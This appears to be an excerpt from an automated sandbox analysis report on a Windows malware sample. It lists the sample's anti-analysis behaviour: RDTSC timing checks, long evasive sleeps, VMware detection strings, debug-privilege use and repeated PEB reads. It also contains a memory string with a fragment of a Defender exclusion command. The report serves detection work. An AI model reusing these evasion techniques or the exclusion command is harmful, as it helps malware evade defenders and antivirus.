Source: C:\Windows\SysWOW64\wlanext.exe RDTSC instruction interceptor: First address: 00000000032089AE second address: 00000000032089B4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe TID: 3480 Thread sleep time: -38554s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe TID: 7012 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 4780 Thread sleep time: -55000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe TID: 7084 Thread sleep time: -46000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\wlanext.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004088E0 rdtsc 3_2_004088E0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Thread delayed: delay time: 38554 Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: explorer.exe, 00000005.00000000.669021166.0000000004791000.00000004.00000001.sdmp Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000005.00000000.701418123.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: vmware
Source: explorer.exe, 00000005.00000000.698171111.0000000006650000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.701418123.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.673852871.000000000A897000.00000004.00000001.sdmp Binary or memory string: War&Prod_VMware_SATAb
Source: explorer.exe, 00000005.00000000.668994565.0000000004755000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.686546615.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.686700384.000000000A784000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000005.00000000.673852871.000000000A897000.00000004.00000001.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}osoft S
Source: 1D4l9eR0W4.exe, 00000000.00000002.665079576.0000000003301000.00000004.00000001.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_004088E0 rdtsc 3_2_004088E0
Enables debug privileges
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BC182 mov eax, dword ptr fs:[00000030h] 3_2_018BC182
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CA185 mov eax, dword ptr fs:[00000030h] 3_2_018CA185
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2990 mov eax, dword ptr fs:[00000030h] 3_2_018C2990
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C61A0 mov eax, dword ptr fs:[00000030h] 3_2_018C61A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C61A0 mov eax, dword ptr fs:[00000030h] 3_2_018C61A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019151BE mov eax, dword ptr fs:[00000030h] 3_2_019151BE
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019151BE mov eax, dword ptr fs:[00000030h] 3_2_019151BE
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019151BE mov eax, dword ptr fs:[00000030h] 3_2_019151BE
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019151BE mov eax, dword ptr fs:[00000030h] 3_2_019151BE
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019549A4 mov eax, dword ptr fs:[00000030h] 3_2_019549A4
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019549A4 mov eax, dword ptr fs:[00000030h] 3_2_019549A4
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019549A4 mov eax, dword ptr fs:[00000030h] 3_2_019549A4
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019549A4 mov eax, dword ptr fs:[00000030h] 3_2_019549A4
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019169A6 mov eax, dword ptr fs:[00000030h] 3_2_019169A6
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189B1E1 mov eax, dword ptr fs:[00000030h] 3_2_0189B1E1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189B1E1 mov eax, dword ptr fs:[00000030h] 3_2_0189B1E1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189B1E1 mov eax, dword ptr fs:[00000030h] 3_2_0189B1E1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019241E8 mov eax, dword ptr fs:[00000030h] 3_2_019241E8
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899100 mov eax, dword ptr fs:[00000030h] 3_2_01899100
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899100 mov eax, dword ptr fs:[00000030h] 3_2_01899100
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899100 mov eax, dword ptr fs:[00000030h] 3_2_01899100
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B4120 mov eax, dword ptr fs:[00000030h] 3_2_018B4120
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B4120 mov eax, dword ptr fs:[00000030h] 3_2_018B4120
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B4120 mov eax, dword ptr fs:[00000030h] 3_2_018B4120
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B4120 mov eax, dword ptr fs:[00000030h] 3_2_018B4120
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B4120 mov ecx, dword ptr fs:[00000030h] 3_2_018B4120
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C513A mov eax, dword ptr fs:[00000030h] 3_2_018C513A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C513A mov eax, dword ptr fs:[00000030h] 3_2_018C513A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BB944 mov eax, dword ptr fs:[00000030h] 3_2_018BB944
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BB944 mov eax, dword ptr fs:[00000030h] 3_2_018BB944
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189C962 mov eax, dword ptr fs:[00000030h] 3_2_0189C962
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189B171 mov eax, dword ptr fs:[00000030h] 3_2_0189B171
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189B171 mov eax, dword ptr fs:[00000030h] 3_2_0189B171
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899080 mov eax, dword ptr fs:[00000030h] 3_2_01899080
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01913884 mov eax, dword ptr fs:[00000030h] 3_2_01913884
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01913884 mov eax, dword ptr fs:[00000030h] 3_2_01913884
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D90AF mov eax, dword ptr fs:[00000030h] 3_2_018D90AF
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 mov eax, dword ptr fs:[00000030h] 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 mov eax, dword ptr fs:[00000030h] 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 mov eax, dword ptr fs:[00000030h] 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 mov eax, dword ptr fs:[00000030h] 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 mov eax, dword ptr fs:[00000030h] 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C20A0 mov eax, dword ptr fs:[00000030h] 3_2_018C20A0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CF0BF mov ecx, dword ptr fs:[00000030h] 3_2_018CF0BF
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CF0BF mov eax, dword ptr fs:[00000030h] 3_2_018CF0BF
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CF0BF mov eax, dword ptr fs:[00000030h] 3_2_018CF0BF
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192B8D0 mov eax, dword ptr fs:[00000030h] 3_2_0192B8D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192B8D0 mov ecx, dword ptr fs:[00000030h] 3_2_0192B8D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192B8D0 mov eax, dword ptr fs:[00000030h] 3_2_0192B8D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192B8D0 mov eax, dword ptr fs:[00000030h] 3_2_0192B8D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192B8D0 mov eax, dword ptr fs:[00000030h] 3_2_0192B8D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0192B8D0 mov eax, dword ptr fs:[00000030h] 3_2_0192B8D0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018958EC mov eax, dword ptr fs:[00000030h] 3_2_018958EC
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018940E1 mov eax, dword ptr fs:[00000030h] 3_2_018940E1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018940E1 mov eax, dword ptr fs:[00000030h] 3_2_018940E1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018940E1 mov eax, dword ptr fs:[00000030h] 3_2_018940E1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01964015 mov eax, dword ptr fs:[00000030h] 3_2_01964015
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01964015 mov eax, dword ptr fs:[00000030h] 3_2_01964015
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01917016 mov eax, dword ptr fs:[00000030h] 3_2_01917016
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01917016 mov eax, dword ptr fs:[00000030h] 3_2_01917016
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01917016 mov eax, dword ptr fs:[00000030h] 3_2_01917016
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AB02A mov eax, dword ptr fs:[00000030h] 3_2_018AB02A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AB02A mov eax, dword ptr fs:[00000030h] 3_2_018AB02A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AB02A mov eax, dword ptr fs:[00000030h] 3_2_018AB02A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AB02A mov eax, dword ptr fs:[00000030h] 3_2_018AB02A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C002D mov eax, dword ptr fs:[00000030h] 3_2_018C002D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C002D mov eax, dword ptr fs:[00000030h] 3_2_018C002D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C002D mov eax, dword ptr fs:[00000030h] 3_2_018C002D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C002D mov eax, dword ptr fs:[00000030h] 3_2_018C002D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C002D mov eax, dword ptr fs:[00000030h] 3_2_018C002D
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B0050 mov eax, dword ptr fs:[00000030h] 3_2_018B0050
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B0050 mov eax, dword ptr fs:[00000030h] 3_2_018B0050
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01961074 mov eax, dword ptr fs:[00000030h] 3_2_01961074
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01952073 mov eax, dword ptr fs:[00000030h] 3_2_01952073
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A1B8F mov eax, dword ptr fs:[00000030h] 3_2_018A1B8F
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A1B8F mov eax, dword ptr fs:[00000030h] 3_2_018A1B8F
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0194D380 mov ecx, dword ptr fs:[00000030h] 3_2_0194D380
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2397 mov eax, dword ptr fs:[00000030h] 3_2_018C2397
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CB390 mov eax, dword ptr fs:[00000030h] 3_2_018CB390
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195138A mov eax, dword ptr fs:[00000030h] 3_2_0195138A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C4BAD mov eax, dword ptr fs:[00000030h] 3_2_018C4BAD
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C4BAD mov eax, dword ptr fs:[00000030h] 3_2_018C4BAD
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C4BAD mov eax, dword ptr fs:[00000030h] 3_2_018C4BAD
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01965BA5 mov eax, dword ptr fs:[00000030h] 3_2_01965BA5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019153CA mov eax, dword ptr fs:[00000030h] 3_2_019153CA
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019153CA mov eax, dword ptr fs:[00000030h] 3_2_019153CA
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BDBE9 mov eax, dword ptr fs:[00000030h] 3_2_018BDBE9
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C03E2 mov eax, dword ptr fs:[00000030h] 3_2_018C03E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C03E2 mov eax, dword ptr fs:[00000030h] 3_2_018C03E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C03E2 mov eax, dword ptr fs:[00000030h] 3_2_018C03E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C03E2 mov eax, dword ptr fs:[00000030h] 3_2_018C03E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C03E2 mov eax, dword ptr fs:[00000030h] 3_2_018C03E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C03E2 mov eax, dword ptr fs:[00000030h] 3_2_018C03E2
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195131B mov eax, dword ptr fs:[00000030h] 3_2_0195131B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189DB40 mov eax, dword ptr fs:[00000030h] 3_2_0189DB40
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01968B58 mov eax, dword ptr fs:[00000030h] 3_2_01968B58
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189F358 mov eax, dword ptr fs:[00000030h] 3_2_0189F358
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189DB60 mov ecx, dword ptr fs:[00000030h] 3_2_0189DB60
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C3B7A mov eax, dword ptr fs:[00000030h] 3_2_018C3B7A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C3B7A mov eax, dword ptr fs:[00000030h] 3_2_018C3B7A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CD294 mov eax, dword ptr fs:[00000030h] 3_2_018CD294
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CD294 mov eax, dword ptr fs:[00000030h] 3_2_018CD294
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018952A5 mov eax, dword ptr fs:[00000030h] 3_2_018952A5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018952A5 mov eax, dword ptr fs:[00000030h] 3_2_018952A5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018952A5 mov eax, dword ptr fs:[00000030h] 3_2_018952A5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018952A5 mov eax, dword ptr fs:[00000030h] 3_2_018952A5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018952A5 mov eax, dword ptr fs:[00000030h] 3_2_018952A5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AAAB0 mov eax, dword ptr fs:[00000030h] 3_2_018AAAB0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018AAAB0 mov eax, dword ptr fs:[00000030h] 3_2_018AAAB0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CFAB0 mov eax, dword ptr fs:[00000030h] 3_2_018CFAB0
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2ACB mov eax, dword ptr fs:[00000030h] 3_2_018C2ACB
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2AE4 mov eax, dword ptr fs:[00000030h] 3_2_018C2AE4
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018A8A0A mov eax, dword ptr fs:[00000030h] 3_2_018A8A0A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195AA16 mov eax, dword ptr fs:[00000030h] 3_2_0195AA16
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195AA16 mov eax, dword ptr fs:[00000030h] 3_2_0195AA16
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018B3A1C mov eax, dword ptr fs:[00000030h] 3_2_018B3A1C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01895210 mov eax, dword ptr fs:[00000030h] 3_2_01895210
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01895210 mov ecx, dword ptr fs:[00000030h] 3_2_01895210
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01895210 mov eax, dword ptr fs:[00000030h] 3_2_01895210
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01895210 mov eax, dword ptr fs:[00000030h] 3_2_01895210
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189AA16 mov eax, dword ptr fs:[00000030h] 3_2_0189AA16
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0189AA16 mov eax, dword ptr fs:[00000030h] 3_2_0189AA16
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D4A2C mov eax, dword ptr fs:[00000030h] 3_2_018D4A2C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D4A2C mov eax, dword ptr fs:[00000030h] 3_2_018D4A2C
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018BA229 mov eax, dword ptr fs:[00000030h] 3_2_018BA229
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0195EA55 mov eax, dword ptr fs:[00000030h] 3_2_0195EA55
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01924257 mov eax, dword ptr fs:[00000030h] 3_2_01924257
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899240 mov eax, dword ptr fs:[00000030h] 3_2_01899240
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899240 mov eax, dword ptr fs:[00000030h] 3_2_01899240
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899240 mov eax, dword ptr fs:[00000030h] 3_2_01899240
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01899240 mov eax, dword ptr fs:[00000030h] 3_2_01899240
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0194B260 mov eax, dword ptr fs:[00000030h] 3_2_0194B260
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_0194B260 mov eax, dword ptr fs:[00000030h] 3_2_0194B260
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01968A62 mov eax, dword ptr fs:[00000030h] 3_2_01968A62
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018D927A mov eax, dword ptr fs:[00000030h] 3_2_018D927A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01892D8A mov eax, dword ptr fs:[00000030h] 3_2_01892D8A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01892D8A mov eax, dword ptr fs:[00000030h] 3_2_01892D8A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01892D8A mov eax, dword ptr fs:[00000030h] 3_2_01892D8A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01892D8A mov eax, dword ptr fs:[00000030h] 3_2_01892D8A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01892D8A mov eax, dword ptr fs:[00000030h] 3_2_01892D8A
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2581 mov eax, dword ptr fs:[00000030h] 3_2_018C2581
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2581 mov eax, dword ptr fs:[00000030h] 3_2_018C2581
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2581 mov eax, dword ptr fs:[00000030h] 3_2_018C2581
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C2581 mov eax, dword ptr fs:[00000030h] 3_2_018C2581
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CFD9B mov eax, dword ptr fs:[00000030h] 3_2_018CFD9B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018CFD9B mov eax, dword ptr fs:[00000030h] 3_2_018CFD9B
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C35A1 mov eax, dword ptr fs:[00000030h] 3_2_018C35A1
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C1DB5 mov eax, dword ptr fs:[00000030h] 3_2_018C1DB5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C1DB5 mov eax, dword ptr fs:[00000030h] 3_2_018C1DB5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_018C1DB5 mov eax, dword ptr fs:[00000030h] 3_2_018C1DB5
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019605AC mov eax, dword ptr fs:[00000030h] 3_2_019605AC
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_019605AC mov eax, dword ptr fs:[00000030h] 3_2_019605AC
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916DC9 mov eax, dword ptr fs:[00000030h] 3_2_01916DC9
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_01916DC9 mov eax, dword ptr fs:[00000030h] 3_2_01916DC9
